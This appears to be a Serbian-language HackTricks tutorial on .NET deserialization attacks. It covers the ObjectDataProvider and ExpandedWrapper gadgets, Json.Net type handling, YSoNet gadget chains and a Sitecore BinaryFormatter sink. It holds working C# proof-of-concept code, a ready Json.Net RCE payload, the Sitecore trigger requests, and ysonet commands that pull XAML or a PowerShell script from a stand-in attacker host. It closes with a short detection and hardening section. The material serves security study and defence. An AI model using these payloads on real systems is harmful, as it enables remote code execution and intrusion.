Osnovna .Net deserializacija (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ovaj članak je posvećen razumevanju kako se gadget ObjectDataProvider iskorišćava da bi se dobio RCE i kako se Serialization biblioteke Json.Net i xmlSerializer mogu zloupotrebiti sa tim gadgetom.

ObjectDataProvider Gadget

Iz dokumentacije: klasa ObjectDataProvider obavija i kreira objekat koji možete koristiti kao binding source.
Da, objašnjenje je čudno, pa hajde da vidimo šta ta klasa ima interesantno: Ova klasa omogućava da omotate proizvoljan objekat, koristite MethodParameters da postavite proizvoljne parametre, i zatim upotrebite MethodName da pozovete proizvoljnu funkciju proizvoljnog objekta deklarisanog pomoću tih parametara.
Dakle, proizvoljni object će izvršiti funkciju sa parametrima tokom deserializacije.

Kako je to moguće

Namespace System.Windows.Data, koji se nalazi u PresentationFramework.dll na C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, je mesto gde je ObjectDataProvider definisan i implementiran.

Koristeći dnSpy možete pregledati kod klase koja nas zanima. Na slici ispod vidimo kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Kao što možete primetiti, kada se postavi MethodName poziva se base.Refresh(), pogledajmo šta to radi:

Ok, nastavimo da vidimo šta radi this.BeginQuery(). BeginQuery je override-ovan od strane ObjectDataProvider i ovo je šta radi:

Obratite pažnju da na kraju koda poziva this.QueryWorke(null). Pogledajmo šta to izvršava:

Primetite da ovo nije kompletan kod funkcije QueryWorker ali pokazuje interesantan deo: Kod poziva this.InvokeMethodOnInstance(out ex); — ovo je linija gde se postavljena metoda poziva.

Ako želite da proverite da samo postavljanje MethodName će dovesti do njegovog izvršavanja, možete pokrenuti ovaj kod:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Napomena: potrebno je dodati kao referencu C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll kako bi se učitao System.Windows.Data

ExpandedWrapper

Korišćenjem prethodnog exploita postaće slučajevi gde će object biti deserialized as instanca ObjectDataProvider (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći GetType). U tom slučaju, neće postojati znanje o tipu objekta koji je upleten u instanci ObjectDataProvider (na primer Process). Više information about the DotNetNuke vuln here.

Ova klasa omogućava da sodredite tipove objekata koji su enkapsulirani u datoj instanci. Dakle, ova klasa može da se koristi da enkapsulira izvorni objekat (ObjectDataProvider) u novi tip objekta i da obezbedi svojstva koja su nam potrebna (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Ovo je veoma korisno za slučajeve kao onaj prikazan ranije, jer ćemo moći da wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

Možete proveriti ovaj wrapper pomoću sledećeg koda:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na official web page je naznačeno da ova biblioteka omogućava da Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Dakle, ako bismo mogli deserialize the ObjectDataProvider gadget, mogli bismo izazvati RCE samo deserijalizacijom objekta.

Json.Net primer

Prvo, pogledajmo primer kako da serialize/deserialize objekat koristeći ovu biblioteku:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Abusing Json.Net

Koristeći ysoserial.net napravio sam exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

U ovom kodu možete test the exploit, samo ga pokrenite i videćete da se calc pokreće:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Napredni .NET lanci gadgeta (YSoNet & ysoserial.net)

Tehnika ObjectDataProvider + ExpandedWrapper predstavljena iznad samo je jedan od MNOGIH lanaca gadgeta koji se mogu zloupotrebiti kada aplikacija izvodi nesigurnu .NET deserijalizaciju. Moderni alati za red-team kao što su YSoNet (i stariji ysoserial.net) automatizuju kreiranje spremnih za upotrebu zlonamernih objektnih grafova za desetine gadgeta i formata serijalizacije.

Ispod je sažeti referentni pregled najkorisnijih lanaca isporučenih sa YSoNet zajedno sa kratkim objašnjenjem kako rade i primerima komandi za generisanje payload-ova.

Lanac gadgetaKljučna ideja / primitivUobičajeni serijalizatoriYSoNet one-liner
TypeConfuseDelegateKorumpira zapis DelegateSerializationHolder tako da, nakon materializacije, delegat pokazuje na bilo koju metodu koju napadač obezbedi (npr. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorZloupotrebljava System.Workflow.ComponentModel.ActivitySurrogateSelector da zaobiđe .NET ≥4.8 filtriranje tipova i direktno pozove konstruktor zadate klase ili kompajlira C# fajl u letuBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourIskorišćava nasleđenu XML reprezentaciju System.Data.DataSet da instancira proizvoljne tipove popunjavanjem polja <ColumnMapping> / <DataType> (opciono falsifikujući assembly pomoću --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsNa runtime okruženjima sa podrškom za WPF (> .NET 5) ulančava getters svojstava dok ne dosegne System.CodeDom.Compiler.CompilerResults, zatim kompajlira ili učitava DLL prosleđen sa -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Koristi WPF System.Windows.Data.ObjectDataProvider za pozivanje proizvoljne statičke metode sa kontrolisanim argumentima. YSoNet dodaje praktičnu --xamlurl varijantu za hostovanje zlonamernog XAML-a na daljinuBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Ugradi ScriptBlock u System.Management.Automation.PSObject koji se izvršava kada PowerShell deserijalizuje objekatPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Svi payloads su po defaultu ispisani na stdout, što ih čini trivijalnim za prosleđivanje (pipe) drugim alatima (npr. ViewState generatorima, base64 enkoderima, HTTP klijentima).

Izgradnja / instalacija YSoNet

Ako nema pre-compiled binarnih fajlova dostupnih pod Actions ➜ Artifacts / Releases, sledeći PowerShell jednolinijski komad će podesiti build okruženje, klonirati repozitorijum i kompajlirati sve u Release modu:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

The compiled ysonet.exe can then be found under ysonet/bin/Release/.

Detekcija & Hardening

  • Detektujte neočekivane child procese w3wp.exe, PowerShell.exe, ili bilo kog procesa koji deserializuje podatke koje dostavlja korisnik (npr. MessagePack, Json.NET).
  • Omogućite i primenite filtriranje tipova (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) kad god se legacy BinaryFormatter / NetDataContractSerializer ne može ukloniti.
  • Gde je moguće, migrirajte na System.Text.Json ili DataContractJsonSerializer sa konverterima zasnovanim na whitelisti.
  • Blokirajte opasne WPF assemblies (PresentationFramework, System.Workflow.*) da se ne učitavaju u web procesima kojima oni nikada ne trebaju.

Praktični sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Praktičan .NET sink dostupan u autentifikovanim Sitecore XP Content Editor tokovima:

  • Sink API: Sitecore.Convert.Base64ToObject(string) poziva new BinaryFormatter().Deserialize(...).
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, koji traži susedni element sa id="{iframeId}_inner" i čita atribut value koji se tretira kao base64‑kodirani serijalizovani podatak. Rezultat se kastuje u string i umeće u HTML.

Minimalan end‑to‑end (autentifikovano):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: bilo koji BinaryFormatter chain koji vraća string (side‑effects se izvršavaju tokom deserialization). Pogledajte YSoNet/ysoserial.net za generisanje payloads.

Za kompletnu lančanu vezu koja počinje pre‑auth sa HTML cache poisoning u Sitecore i vodi do ovog sinka:

Sitecore

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks